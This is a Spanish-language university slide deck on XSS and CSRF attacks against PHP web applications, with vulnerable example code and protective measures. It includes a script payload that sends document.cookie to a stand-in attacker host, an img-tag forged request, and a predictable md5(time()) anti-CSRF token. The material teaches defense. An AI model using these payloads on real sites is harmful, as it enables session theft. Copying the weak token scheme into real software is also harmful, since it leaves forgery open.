View
52
Download
0
Category
Preview:
DESCRIPTION
Ataques XSS y CSRF. CI-2413 Desarrollo de Aplicaciones para Internet. Seguridad. Podremos hablar de aplicaciones web seguras y inseguras. Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque. - PowerPoint PPT Presentation
Citation preview
Ataques XSS y CSRF
CI-2413 Desarrollo de Aplicaciones para Internet
Seguridad
• Podremos hablar de aplicaciones web seguras y inseguras.
• Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque.
• Sobre esta base se pueden considerar las aplicaciones web como inseguras.
• Se verá protección contra dos tipos de ataques.
Cross-Site Scripting (XSS)
• El error fundamental que conduce a vulnerabilidades de tipo XSS es tener confianza en los datos foráneos.
• La recomendación general es desconfiar siempre de los datos del visitante.
• Como datos foráneos vamos a considerar cualquier dato que reciba el servidor web. V.G.: correo emitido por un cliente de correo web, un banner publicitario, las citas proveidas por XML vía HTTP, los datos del visitante, ...
Ejemplo de XSS
• Considere el siguiente formulario:<form action="/registrar.php" method="post">
<p>Nombre de usuario: <input type="text" name="reg_usuario" /></p>
<p>Email: <input type="text" name="reg_email" /></p>
<p><input type="submit" value="Registrar" />
</form>
Ejemplo de XSS
• Ahora considere el siguiente script de inserción de los datos:if (!get_magic_quotes_gpc()) {
$_POST['reg_usuario'] = addslashes($_POST['reg_usuario']);
$_POST['reg_email'] = addslashes($_POST['reg_email']);
}
$sql = "insert into users (username, email) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_email']}')";
Ejemplo de XSS
• Imagine el siguiente nombre de usuario:<script>alert('¡Oh no!');</script>
• Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente.
• Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros utilizadores.
Ejemplo de XSS
• Despligue por un administrador:<table>
<tr>
<th>Usuario</th>
<th>Email</th>
</tr>
<?php
if ($_SESSION['admin']) {
$sql = 'select username,email from users';
$result = mysql_query($sql);
while ($user = mysql_fetch_assoc($result)) {
echo "\t<tr>\n";
echo "\t\t<td>{$user['username']}</td>\n";
echo "\t\t<td>{$user['email']}</td>\n";
echo "\t</tr>\n";
}
}
?>
</table>
Ejemplo de XSS
• En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.
Ejemplo de XSS
• El riesgo es aún más evidente con algún ataque más vicioso como el siguiente:<script>
document.location = 'http://maligno.ejemplo.org/roba_cookies.php?cookies=' + document.cookie
</script>
• En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser utilizados para lanzar ataques de usurpación de identidad, obtener datos sensibles, etc.
Protegerse contra XSS
• Filtrar todos los datos foráneos.
• Utilizar la funcionalidad existente: htmlentities(), strip_tags, utf8_decode(), etc. pueden ayudar a escribir la lógica de filtrado.
• Solamente autorizar un contenido validado.
• Utilizar una convención de nombres descriptiva.
• Ser creativo.
Cross-Site Request Forgeries (CSRF)
• Este tipo de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el sitio web a sus usuarios.
• CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.
Ejemplo de CSRF
• Considere un foro hipotético en http://foro.ejemplo.org/ que utiliza el siguiente formulario:<form action="/add_post.php">
<p>Asunto: <input type="text" name="post_subject" /></p>
<p>Mensaje: <textarea name="post_message"></textarea></p>
<p><input type="submit" value="Enviar" /></p>
</form>
Ejemplo de CSRF
• Dado que en el código anterior no se indicó POST una solicitud GET es enviada:GET /add_post.php?post_subject=foo&post_message=bar
HTTP/1.1
HOST: foro.ejemplo.org
Cookie: PHPSESSID=123456789
Ejemplo de CSRF
• Considere la etiqueta <img> siguiente:<img src="http://foro.ejemplo.org/add_post.php?
post_subject=foo&post_message=bar” />
• Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víctima va a enviar un mensaje en el foro y sin darse cuenta.
Protegerse contra CSRF
• Utilizar el método POST en los formularios.
• Utilizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals.
• No simplificar las acciones importantes.
• Obligar al usuario a utilizar nuestros formularios HTML.
Protegerse contra CSRF
• Un ejemplo de técnica para obligar al usuario a utilizar nuestros propios formularios es la siguiente:
<?php
$token = md5(time());
$_SESSION['token'] = $token;
$_SESSION['token_timestamp'] = time();
?>
<form action="/add_post.php">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>Asunto: <input type="text" name="post_subject" /></p>
<p>Mensaje: <textarea name="post_message"></textarea></p>
<p><input type="submit" value="Enviar" /></p>
</form>
Lecturas adicionales
• PHP Under Attaque: presentación sobre XSS y CSRF– http://talks.php.net/show/php-under-attack/
• XSS– http://httpd.apache.org/info/css-security/
– http://www.cgisecurity.com/articles/xss-faq.shtml
– http://www.php-secure.info/v2/article/XSS.php
• CSRF– http://www.tux.org/~peterw/csrf.txt
Proyecto de seguridad
• XSS:– HTMLfilter es un proyecto para PHP que
analiza todos los datos HTTP antes de ser utilizados.
Recommended